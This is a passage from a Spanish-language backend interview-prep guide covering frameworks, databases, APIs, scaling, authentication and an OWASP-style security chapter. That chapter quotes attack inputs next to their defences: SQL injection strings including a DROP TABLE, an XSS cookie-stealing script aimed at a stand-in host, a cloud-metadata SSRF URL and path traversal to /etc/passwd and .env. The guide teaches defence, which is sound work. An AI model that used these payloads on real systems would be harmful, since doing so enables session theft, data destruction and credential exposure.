Explicado fácil: una empresa con organigrama. Cada cosa tiene su departamento y su lugar. Al principio parece mucha burocracia, pero con 20 personas trabajando todos saben dónde va cada cosa.

@Controller("productos")
export class ProductosController {
  constructor(private service: ProductosService) {}

  @Get()
  listar() {
    return this.service.todos();
  }
}

Usalo para: backends grandes, equipos de varias personas, proyectos que van a durar años.

frontend + backend con React

Next.js

Un framework de React que hace frontend y backend en el mismo proyecto. Cada archivo dentro de la carpeta app es una página, y puede leer la base de datos directamente. Soporta SSR, SSG e ISR.

Explicado fácil: un local que es cocina y salón a la vez. No necesitás un restaurante aparte para cocinar: todo pasa en el mismo lugar.

// app/productos/page.tsx → la URL /productos
export default async function Page() {
  const productos = await db.producto.findMany();
  return <ul>{productos.map(p => <li>{p.nombre}</li>)}</ul>;
}

Usalo para: sitios con SEO, e-commerce, SaaS, cuando el equipo ya sabe React.

ultraliviano, corre en cualquier lado

Hono

Un framework muy chico y rápido que funciona igual en Node, Bun, Deno, Cloudflare Workers y Vercel.

Explicado fácil: un food truck. Liviano, lo llevás a cualquier lugar y arranca al toque.

import { Hono } from "hono";
const app = new Hono();

app.get("/hola", (c) => c.json({ mensaje: "Hola" }));

export default app;

Usalo para: APIs serverless o en el edge, webhooks, microservicios chicos.

¿Cuál elijo en Node? Algo simple o estoy aprendiendo → Express. Backend grande con equipo → NestJS. Página web con React y SEO → Next.js. Serverless o edge → Hono. Express pero más rápido → Fastify.

CriterioPythonNode.jsOtros a mencionar
I/O concurrente (APIs, chats)Bueno con async (FastAPI)Excelente, es su diseñoGo: goroutines, excelente
CPU intensivoBien vía librerías en C (NumPy) o multiprocessingMalo en el hilo principalGo, Rust, Java
Velocidad de desarrolloMuy alta, Django trae todoMuy alta, npm enormeRails, Laravel
TipadoType hints + mypy / PydanticTypeScript (estándar de facto)Java, C#, Go: nativo
IA / MLLíder absolutoConsumir APIs de LLMs, sí; entrenar, no—
Empresas grandes / bancaComúnComúnJava/Spring y .NET dominan
FastAPI (Python)
from fastapi import FastAPI
from pydantic import BaseModel

app = FastAPI()

class Producto(BaseModel):
    nombre: str
    precio: float

@app.post("/productos")
async def crear(p: Producto):
    # Pydantic ya validó el body
    return {"ok": True, "producto": p}
Express + zod (Node.js)
import express from "express";
import { z } from "zod";

const app = express();
app.use(express.json());

const Producto = z.object({
  nombre: z.string(), precio: z.number(),
});

app.post("/productos", (req, res) => {
  const p = Producto.parse(req.body);
  res.status(201).json({ ok: true, producto: p });
});
Capítulo 07

Bases de datos: cuál y por qué

La base de datos no depende tanto del lenguaje como de la forma de los datos y cómo se consultan. Python y Node tienen buenos drivers para todas. La regla de un senior: empezá con PostgreSQL salvo que tengas una razón concreta para otra cosa.

TipoEjemplosModeloUsala paraEvitala para
Relacional (SQL)PostgreSQL, MySQL, SQLite, SQL ServerTablas con relaciones, esquema fijo, transacciones ACIDUsuarios, pedidos, pagos, inventario, casi todoEscala de escritura masiva y global sin sharding
DocumentosMongoDB, Firestore, DynamoDBJSON flexible, sin joins fuertesCatálogos con atributos variables, CMS, prototipos rápidos, apps mobile con FirebaseDatos muy relacionados, reportes complejos
Clave-valor / en memoriaRedis, Valkey, MemcachedClave → valor, en RAM, microsegundosCaché, sesiones, rate limiting, colas, rankings, pub/subFuente de verdad principal
Columnar anchaCassandra, ScyllaDBParticiones distribuidas, escritura muy rápidaIoT, logs, mensajería a escala enormeConsultas ad hoc, joins
Analítica (OLAP)ClickHouse, BigQuery, Snowflake, DuckDBColumnar, agrega millones de filasMétricas, BI, dashboards de analyticsTransacciones de la app
BúsquedaElasticsearch, OpenSearch, Meilisearch, TypesenseÍndice invertidoBúsqueda full-text, filtros, autocompletadoFuente de verdad
GrafosNeo4j, Amazon NeptuneNodos y aristasRedes sociales, recomendaciones, fraudeCRUD común
Vectorialpgvector, Pinecone, Qdrant, WeaviateEmbeddings, búsqueda por similitudRAG, búsqueda semántica, IADatos estructurados normales
Series de tiempoTimescaleDB, InfluxDBDatos ordenados por timestampSensores, métricas, finanzasDatos sin componente temporal

Conceptos que te van a preguntar

ACID
Atomicidad, Consistencia, Aislamiento, Durabilidad. Una transferencia bancaria se hace entera o no se hace.
BASE
Basically Available, Soft state, Eventual consistency. Típico de NoSQL distribuido.
CAP
Ante una partición de red, elegís Consistencia o Disponibilidad. Postgres prioriza C; Cassandra prioriza A.
Índices
Aceleran lecturas (B-tree), hacen más lentas las escrituras. Indexá columnas de WHERE, JOIN y ORDER BY. Revisá con EXPLAIN ANALYZE.
Normalizar
Evita duplicados (3FN). Desnormalizar duplica datos para leer más rápido.
N+1
Traer 100 posts y hacer 100 queries para sus autores. Se arregla con JOIN, select_related (Django) o include (Prisma).

Combinaciones típicas por lenguaje

Django
PostgreSQL + Django ORM + Redis + Celery
FastAPI
PostgreSQL + SQLAlchemy/SQLModel + Alembic; pgvector si hay IA
Express / Nest
PostgreSQL + Prisma o Drizzle + Redis + BullMQ
MERN
MongoDB + Express + React + Node, con Mongoose
Next.js
Postgres gestionado (Neon, Supabase) + Drizzle/Prisma
Mobile rápido
Firebase (Firestore + Auth) o Supabase

Regla práctica: una fuente de verdad SQL, Redis para lo efímero, y una base especializada solo para un problema puntual (búsqueda, analytics, vectores).

Capítulo 08

¿Qué stack elijo?

Marcá el tipo de proyecto y el equipo. La recomendación es la que defendería un senior en una entrevista de system design.

Tipo de proyecto
El equipo sabe más de
Recomendación
Capítulo 09

APIs y comunicación

Cómo se hablan el frontend y el backend, o los servicios entre sí.

EstiloCómo funcionaUsalo paraContras
RESTRecursos + verbos HTTP (GET /users/1), JSON, sin estadoAPIs públicas, CRUD, lo más estándarOver/under-fetching, varios requests por pantalla
GraphQLUn endpoint, el cliente pide exactamente los campos que quiereFrontends con muchas vistas distintas, mobileCaché HTTP difícil, queries costosas, N+1 (DataLoader)
gRPCProtobuf binario sobre HTTP/2, contratos tipadosComunicación entre microserviciosNo va directo al navegador
WebSocketsConexión bidireccional persistenteChat, juegos, colaboraciónEscalar conexiones con estado
SSEEl servidor empuja eventos por HTTPNotificaciones, streaming de IASolo servidor → cliente
WebhooksUn sistema hace POST a tu URL cuando pasa algoPagos (Stripe, Mercado Pago), GitHubHay que verificar la firma y ser idempotente

Verbos HTTP

GET
Leer. Seguro e idempotente.
POST
Crear. No idempotente.
PUT
Reemplazar completo. Idempotente.
PATCH
Modificar parcial.
DELETE
Borrar. Idempotente.

Idempotente: llamarlo una o diez veces deja el mismo resultado. Clave para reintentos.

Status codes que tenés que saber

200 / 201 / 204
OK / Creado / OK sin contenido
301 / 302 / 304
Redirección permanente / temporal / no modificado (caché)
400 / 422
Request mal formado / validación fallida
401 vs 403
401: no sé quién sos. 403: sé quién sos y no podés.
404 / 409 / 429
No existe / conflicto / demasiados requests
500 / 502 / 503 / 504
Error interno / mal gateway / no disponible / timeout del upstream
Capítulo 10

Escalabilidad y rendimiento

El orden en que un senior ataca un sistema lento: medir, cachear, optimizar queries, escalar horizontalmente, y recién ahí repensar la arquitectura.

Vertical vs horizontal

Vertical: máquina más grande. Simple, tiene techo. Horizontal: más máquinas detrás de un balanceador. Requiere que la app sea stateless: las sesiones van a Redis o a un JWT, los archivos a S3, nunca al disco local.

Caché en capas

Navegador (Cache-Control) → CDN → caché de aplicación (Redis) → caché de la DB. Patrones: cache-aside (leo caché, si no hay voy a DB y guardo), write-through. Lo difícil es invalidar.

Base de datos

Índices y queries primero. Después connection pooling (PgBouncer), réplicas de lectura, particionado de tablas grandes y, como último recurso, sharding (repartir datos por clave entre varias bases).

Colas y trabajo asíncrono

Lo que no necesita respuesta inmediata va a una cola: mails, PDFs, procesar imágenes, llamar a terceros. El request responde en milisegundos y un worker hace el resto.

Resiliencia

Timeouts en toda llamada externa, reintentos con backoff exponencial, circuit breaker para no saturar un servicio caído, health checks y degradación elegante.

Observabilidad

Los tres pilares: logs estructurados, métricas (latencia p95/p99, tasa de error, throughput) y traces distribuidos (OpenTelemetry). Sin esto, los microservicios son imposibles de operar.

Capítulo 11

Autenticación y autorización

Autenticación es saber quién sos. Autorización es saber qué podés hacer. Se confunden mucho en entrevistas.

MecanismoCómo funcionaVentajasDesventajas
Sesión + cookieEl servidor guarda la sesión (DB/Redis) y manda un ID en cookie HttpOnly; Secure; SameSiteRevocación inmediata, simple y seguroNecesita almacenamiento compartido
JWTToken firmado con los datos del usuario, el servidor solo verifica la firmaStateless, útil entre serviciosDifícil de revocar: usá expiración corta + refresh token
OAuth 2.0Delegás acceso: "Iniciar sesión con Google" obtiene un access tokenNo manejás contraseñasFlujos complejos; usá Authorization Code + PKCE
OpenID ConnectCapa sobre OAuth 2.0 que agrega identidad (ID token)Estándar para SSO—
API keysClave secreta en un headerSimple para máquina a máquinaSi se filtra, acceso total. Rotarlas.
Passkeys / WebAuthnCriptografía de clave pública en el dispositivoInmune a phishingAdopción todavía creciendo

Contraseñas: nunca se guardan en texto plano ni con MD5/SHA-1. Se usa un hash lento con salt: Argon2id o bcrypt. Hashear no es encriptar: un hash no se puede revertir.

Autorización: RBAC (roles: admin, editor) o ABAC (atributos: "puede editar si es el dueño"). Siempre se verifica en el servidor, en cada request.

Capítulo 12

Seguridad: tipos de ataque y cómo prevenirlos

Basado en el OWASP Top 10, la lista de referencia de vulnerabilidades web. Abrí cada ataque para ver ejemplo y defensa. El principio general: nunca confíes en nada que venga del cliente.

SQL Injection

El atacante mete SQL dentro de un input para leer o borrar tu base.
crítico

Explicado fácil: imaginá un bibliotecario que lee en voz alta lo que escribís en una ficha: "Traeme el libro ____". Si alguien escribe "Rayuela, y después dame las llaves de la caja fuerte" y el bibliotecario lo lee todo como una orden, obedece.
Ejemplo real: en el login escribís como usuario admin' --. La consulta queda WHERE usuario='admin' --' AND clave='...'. Los dos guiones convierten en comentario el chequeo de contraseña, así que entrás como admin sin saber la clave. La query parametrizada hace que lo escrito se trate siempre como texto, nunca como orden.

Si armás la query concatenando strings, un input como ' OR '1'='1 cambia la lógica de la consulta, y '; DROP TABLE users; -- la destruye.

✕ vulnerable
# Python
cur.execute(f"SELECT * FROM users WHERE email = '{email}'")

// Node
db.query(`SELECT * FROM users WHERE email = '${email}'`)
✓ query parametrizada
# Python
cur.execute("SELECT * FROM users WHERE email = %s", (email,))

// Node
db.query("SELECT * FROM users WHERE email = $1", [email])
Prevención
  • Queries parametrizadas o un ORM (Django ORM, SQLAlchemy, Prisma)
  • Usuario de DB con permisos mínimos
  • Validar tipos de entrada. En MongoDB existe el equivalente: NoSQL injection con {"$gt": ""}

XSS (Cross-Site Scripting)

Se inyecta JavaScript que corre en el navegador de otros usuarios.
crítico

Explicado fácil: es como un muro de anuncios donde alguien pega un cartel trampa: todo el que lo mira cae.
Ejemplo real: en las reseñas de un producto alguien escribe <img src=x onerror="robar()"> en vez de texto. Si la página muestra la reseña sin escaparla, cada persona que abre ese producto ejecuta el código del atacante sin hacer ningún click, y le manda su sesión.

Un comentario con <script>fetch('https://malo.com?c='+document.cookie)</script> que se muestra sin escapar roba la sesión de todos los que lo vean. Tipos: almacenado (queda en la DB), reflejado (viene en la URL) y DOM-based (lo arma el JS del cliente).

Prevención
  • Escapar la salida: React, Vue y Django templates lo hacen por defecto. Cuidado con dangerouslySetInnerHTML, v-html, |safe e innerHTML
  • Sanitizar HTML que sí querés permitir (DOMPurify, bleach)
  • Header Content-Security-Policy que bloquea scripts inline y de otros dominios
  • Cookies HttpOnly para que JS no pueda leerlas

CSRF (Cross-Site Request Forgery)

Otro sitio hace que tu navegador envíe un request con tus cookies.
alto

Explicado fácil: es como que te hagan firmar un papel en blanco y después lo completen ellos.
Ejemplo real: estás logueado en tu home banking. Te llega un mail "mirá estas fotos", abrís el link y esa página tiene un formulario invisible que envía "transferir $50.000 a la cuenta X" a tu banco. Tu navegador adjunta tu cookie automáticamente, así que el banco cree que fuiste vos.

Estás logueado en tu banco. Entrás a un sitio malicioso que tiene un formulario oculto que hace POST banco.com/transferir. El navegador adjunta tu cookie de sesión y la transferencia sale.

Prevención
  • Cookies con SameSite=Lax o Strict
  • Tokens CSRF en formularios (Django lo trae por defecto)
  • Nunca cambiar estado con GET
  • Verificar header Origin

Broken Access Control / IDOR

Cambiás el ID en la URL y ves datos de otro usuario. Es el #1 de OWASP.
crítico

Explicado fácil: es un hotel donde la llave de la habitación 104 también abre la 105.
Ejemplo real: descargás tu factura desde /facturas/1043. Cambiás el número a 1044 en la barra del navegador y aparece la factura de otro cliente, con su nombre, dirección y DNI. El servidor verificó que estés logueado, pero no que la factura sea tuya.

GET /api/facturas/1043 devuelve la factura aunque sea de otro cliente, porque el servidor solo chequea que estés logueado y no que la factura sea tuya.

Prevención
  • Verificar propiedad en cada request: WHERE id = $1 AND user_id = $2
  • Denegar por defecto
  • No confiar en que el frontend oculte botones
  • IDs no secuenciales (UUID) ayudan, pero no reemplazan el chequeo

Fuerza bruta y credential stuffing

Probar miles de contraseñas, o usar listas filtradas de otros sitios.
alto

Explicado fácil: fuerza bruta es probar todas las combinaciones de un candado de bicicleta hasta que abre.
Credential stuffing: se filtran los mails y contraseñas de un foro hackeado. Como mucha gente usa la misma contraseña en todos lados, un bot prueba esos pares en tu sitio. No adivinan nada: usan contraseñas reales de otro lugar.

Prevención
  • Rate limiting por IP y por cuenta (respuesta 429)
  • Bloqueo temporal tras N intentos, CAPTCHA
  • 2FA / MFA y passkeys
  • Hash lento (Argon2id, bcrypt) para que crackear sea caro
  • Mensajes genéricos: "usuario o contraseña incorrectos"

SSRF (Server-Side Request Forgery)

Lográs que el servidor haga requests a direcciones internas.
alto

Explicado fácil: vos no podés entrar a la oficina del gerente, pero el recepcionista sí. Le pedís "alcanzame el sobre que está en su escritorio" y te lo trae.
Ejemplo real: la app tiene "pegá la URL de tu foto de perfil". El atacante pega una dirección interna de la red de la empresa; el servidor va a buscarla (porque él sí tiene acceso) y le devuelve datos privados o credenciales.

Una feature "importar imagen desde URL" recibe http://169.254.169.254/latest/meta-data/ y el servidor devuelve las credenciales de la nube.

Prevención
  • Lista blanca de dominios permitidos
  • Bloquear IPs privadas y de metadata después de resolver el DNS
  • IMDSv2 en AWS, red de salida restringida

DDoS

Inundar el servicio de tráfico hasta tirarlo.
alto

Explicado fácil: mil personas entran a un local y hacen fila sin comprar nada. Los clientes de verdad no pueden ni entrar.
Ejemplo real: una red de miles de cámaras y routers hackeados (botnet) pide la página de búsqueda 50.000 veces por segundo. El servidor se satura y el sitio se cae para todos. La "D" de Distributed significa que el tráfico viene de miles de IPs, por eso no alcanza con bloquear una.

Puede ser volumétrico (saturar el ancho de banda), de protocolo (SYN flood) o de capa 7 (miles de requests a un endpoint caro, como la búsqueda).

Prevención
  • CDN y protección anti-DDoS (Cloudflare, AWS Shield)
  • WAF y rate limiting
  • Autoescalado y caché agresiva
  • Timeouts y límites de tamaño de body

Man-in-the-Middle

Alguien en la red intercepta o modifica el tráfico.
alto

Explicado fácil: un cartero que abre tus cartas, las lee, a veces les cambia algo, y las vuelve a cerrar.
Ejemplo real: en un bar te conectás a un WiFi llamado "WiFi_Gratis" que creó un atacante. Todo tu tráfico pasa por su computadora. Si el sitio usa HTTP sin la S, ve tus contraseñas en texto plano. Con HTTPS solo ve datos cifrados.

Prevención
  • HTTPS en todo (TLS 1.2+, idealmente 1.3)
  • Header HSTS para que el navegador nunca use HTTP
  • Cookies Secure
  • Certificate pinning en apps mobile críticas

DNS spoofing y secuestro de dominio

Hacer que tu dominio apunte a un servidor del atacante.
alto

Explicado fácil: alguien cambia el cartel de la calle para que llegues a una casa idéntica a la tuya, pero que no es tuya.
Ejemplo real: escribís la dirección de tu banco y un DNS envenenado te manda a la IP de una copia exacta del sitio, donde dejás tu usuario y clave. HTTPS te salva: la copia no puede tener el certificado real del banco y el navegador muestra un error.

Envenenando la caché de un resolver, o entrando a la cuenta del registrador y cambiando los nameservers. También existe el subdomain takeover: un CNAME que apunta a un servicio que ya diste de baja y otro reclama.

Prevención
  • DNSSEC
  • 2FA y registry lock en el registrador
  • Borrar registros DNS huérfanos
  • HTTPS + HSTS: aunque te redirijan, el certificado no va a validar

Path traversal y subida de archivos

Leer ../../etc/passwd o subir un script ejecutable.
alto

Explicado fácil: ../ significa "la carpeta de arriba". Es como pedirle a alguien "dame la foto del cajón 3" y decir en cambio "dame lo que está dos cajones más arriba, en el cajón de las contraseñas".
Ejemplo real: la URL /descargar?archivo=foto.jpg se cambia por ?archivo=../../.env y el servidor entrega el archivo con las claves. En subidas: alguien sube foto.php, que en realidad es un programa; si el servidor lo ejecuta, el atacante controla la máquina.

Prevención
  • Nunca usar el nombre de archivo del usuario como ruta
  • Validar tipo real (magic bytes) y tamaño
  • Guardar en S3/R2, fuera del servidor web, con nombre generado
  • Servir desde otro dominio

Secretos filtrados y dependencias vulnerables

Una API key en el repo o un paquete npm/pip comprometido.
crítico

Explicado fácil: es dejar la llave de tu casa bajo el felpudo, pero el felpudo está en la vereda de una avenida.
Ejemplo real: subís por error tu clave de AWS a un repo público de GitHub. Hay bots que escanean GitHub todo el tiempo: en minutos la encuentran, levantan servidores para minar criptomonedas y al otro día tenés una factura de miles de dólares. Dependencias: un paquete de npm muy usado es hackeado y su nueva versión roba las variables de entorno de quien lo instala.

Prevención
  • Secretos en variables de entorno o un gestor (Vault, AWS Secrets Manager), nunca en el código
  • .env en .gitignore; escáneres como gitleaks
  • npm audit, pip-audit, Dependabot, lockfiles commiteados
  • Nunca poner claves privadas en el frontend: todo lo que llega al navegador es público

CORS mal configurado y clickjacking

Permitir cualquier origen con credenciales, o meter tu sitio en un iframe invisible.
medio

Explicado fácil: clickjacking es poner un vidrio pintado encima de un botón real.
Ejemplo real: una página muestra un botón "¡Ganaste un iPhone, hacé click!". Encima, invisible (en un iframe transparente), está la página de tu banco con el botón "Confirmar transferencia" justo en el mismo lugar. Creés que reclamás el premio y en realidad confirmás la transferencia. CORS mal configurado es como decir "cualquiera que llame puede pedir mis datos usando mi nombre": cualquier sitio podría leer tus respuestas con las cookies del usuario.

CORS no es una protección del servidor: es el navegador decidiendo si un JS de otro origen puede leer la respuesta. Access-Control-Allow-Origin: * con credenciales es un error.

Prevención
  • Lista explícita de orígenes permitidos
  • X-Frame-Options: DENY o frame-ancestors 'none' en CSP contra clickjacking

Headers de seguridad que conviene mandar siempre

Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
Content-Security-Policy: default-src 'self'; frame-ancestors 'none'
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=()
# Node: helmet()   ·   Django: SecurityMiddleware   ·   FastAPI: middleware propio o secure

Frase para la entrevista: "Aplico defensa en profundidad: validación en el borde, queries parametrizadas, escape de salida, autorización en cada endpoint, mínimo privilegio, secretos fuera del código, HTTPS con HSTS, y logs para detectar lo que se escape."

Capítulo 13

Preguntas típicas y cómo responderlas

Pensá la respuesta antes de abrirla. Lo que evalúan no es que sepas todo, sino que razones con trade-offs y preguntes por los requisitos.

¿Cuándo usarías NoSQL en vez de SQL?

Cuando el esquema cambia mucho o varía entre registros (catálogo con atributos distintos por categoría), cuando el acceso es casi siempre por una clave conocida y necesito escalar escrituras horizontalmente, o para casos específicos como caché (Redis) o búsqueda. Si los datos son relacionales y necesito transacciones, Postgres. Postgres además tiene JSONB, así que muchas veces cubre las dos cosas.

Clave: no digas "NoSQL escala más" sin matices.

¿Por qué Node.js es bueno para I/O y malo para CPU?

Porque corre JavaScript en un solo hilo con un event loop. Mientras espera a la DB o a la red, atiende otros requests. Pero si un request calcula algo pesado durante 2 segundos, el loop queda bloqueado y nadie más recibe respuesta. Para eso uso worker_threads, una cola con workers o un servicio en otro lenguaje.

¿Qué es el GIL de Python y cómo lo esquivás?

El Global Interpreter Lock hace que un solo hilo ejecute bytecode de Python a la vez en CPython. Para I/O no molesta (se libera mientras espera). Para CPU uso multiprocessing, varios workers de Gunicorn, librerías en C como NumPy que liberan el GIL, o tareas en Celery.

Diseñá un acortador de URLs

Pregunto requisitos: cuántas URLs por día, proporción lecturas/escrituras (muy alta en lectura), si hay analytics. Diseño: API POST /shorten que genera un ID en base62 a partir de un contador o hash; tabla (code, url, created_at) en Postgres o una key-value; GET /:code responde 301/302. Como es 100:1 lectura, Redis delante y CDN. Analytics por cola para no frenar la redirección. Rate limiting contra abuso.

Tu API está lenta, ¿qué hacés?

Primero medir: ¿qué endpoint, p50 o p99, desde cuándo? Miro traces y logs. Lo más común es la base de datos: query sin índice, N+1, o pool de conexiones agotado. Reviso con EXPLAIN ANALYZE. Después agrego caché, paso trabajo pesado a colas, y si es carga real, escalo horizontalmente.

¿Sesiones o JWT?

Para una web tradicional, sesiones en cookie HttpOnly con Redis: puedo revocarlas al instante y son más simples de hacer seguras. JWT conviene entre servicios o cuando no quiero un store compartido, con expiración corta (5–15 min) y refresh token rotativo. Nunca guardaría un JWT en localStorage si hay riesgo de XSS.

¿Qué patrones de diseño usaste y para qué?

Respondé con casos reales, no con definiciones. Por ejemplo: "Usé Strategy para los métodos de envío, así agregar uno nuevo no tocaba el resto del código. El middleware de Express es Chain of Responsibility: lo usé para auth y rate limiting. En NestJS todo funciona con inyección de dependencias, lo que me dejaba mockear el repositorio en los tests."

Clave: mostrá que sabés cuándo NO usar un patrón. Un Factory para dos casos que nunca van a crecer es sobreingeniería.

¿Qué diferencia hay entre autenticación y autorización?

Autenticación verifica identidad (login, 401 si falla). Autorización verifica permisos sobre un recurso (403 si falla). Se puede estar autenticado y no autorizado.

¿Qué es idempotencia y por qué importa en pagos?

Que repetir una operación no cambie el resultado. Si el cliente reintenta un pago por un timeout, no puede cobrarse dos veces. Se resuelve con una idempotency key: el cliente manda un ID único, el servidor lo guarda y si lo ve de nuevo devuelve la respuesta original.

¿Monolito o microservicios para una startup?

Monolito modular. Los microservicios resuelven problemas de equipos grandes y escala desigual, y cobran en complejidad operativa (red, deploys, observabilidad, consistencia). Al principio la prioridad es iterar rápido. Mantengo módulos bien separados y la app stateless para poder extraer servicios cuando haga falta.

¿Qué es un CDN y qué cachearías ahí?

Una red de servidores distribuidos geográficamente que sirven contenido desde el nodo más cercano al usuario. Cacheo assets estáticos con hash en el nombre (app.3f9a.js) con max-age de un año e immutable, imágenes, y páginas públicas con TTL corto o stale-while-revalidate. Nunca respuestas con datos privados del usuario.

¿Qué pasa si se cae la base de datos?

Debería tener réplica con failover automático (RDS Multi-AZ, Patroni), backups automáticos probados con restauraciones reales, y definir RPO (cuántos datos puedo perder) y RTO (cuánto tiempo puedo estar caído). La app debería degradar: servir desde caché y mostrar errores claros en vez de colgarse.

Capítulo 14

Glosario rápido

Load balancer
Reparte tráfico entre servidores (round robin, least connections). Nginx, HAProxy, ALB.
Reverse proxy
Servidor delante de tu app que maneja TLS, compresión y routing. Nginx, Caddy, Traefik.
Stateless
El servidor no guarda estado entre requests; cualquier instancia puede atender a cualquiera.
Contenedor
Docker empaqueta la app con sus dependencias. Kubernetes los orquesta a escala.
CI/CD
Tests y deploy automáticos en cada push. GitHub Actions, GitLab CI.
WAF
Firewall de aplicación web que filtra requests maliciosos (SQLi, XSS) antes de llegar a la app.
Latencia p99
El 99% de los requests tarda menos que este valor. Mide la peor experiencia real.
Consistencia eventual
Los datos tardan un poco en verse iguales en todos los nodos, pero terminan convergiendo.
Sharding
Partir los datos entre varias bases según una clave (por ejemplo, user_id).
Rate limiting
Limitar requests por cliente en una ventana de tiempo. Algoritmos: token bucket, sliding window.
Edge
Código que corre en nodos del CDN, cerca del usuario.
12-Factor App
Guía de buenas prácticas: config en env vars, procesos stateless, logs a stdout, paridad dev/prod.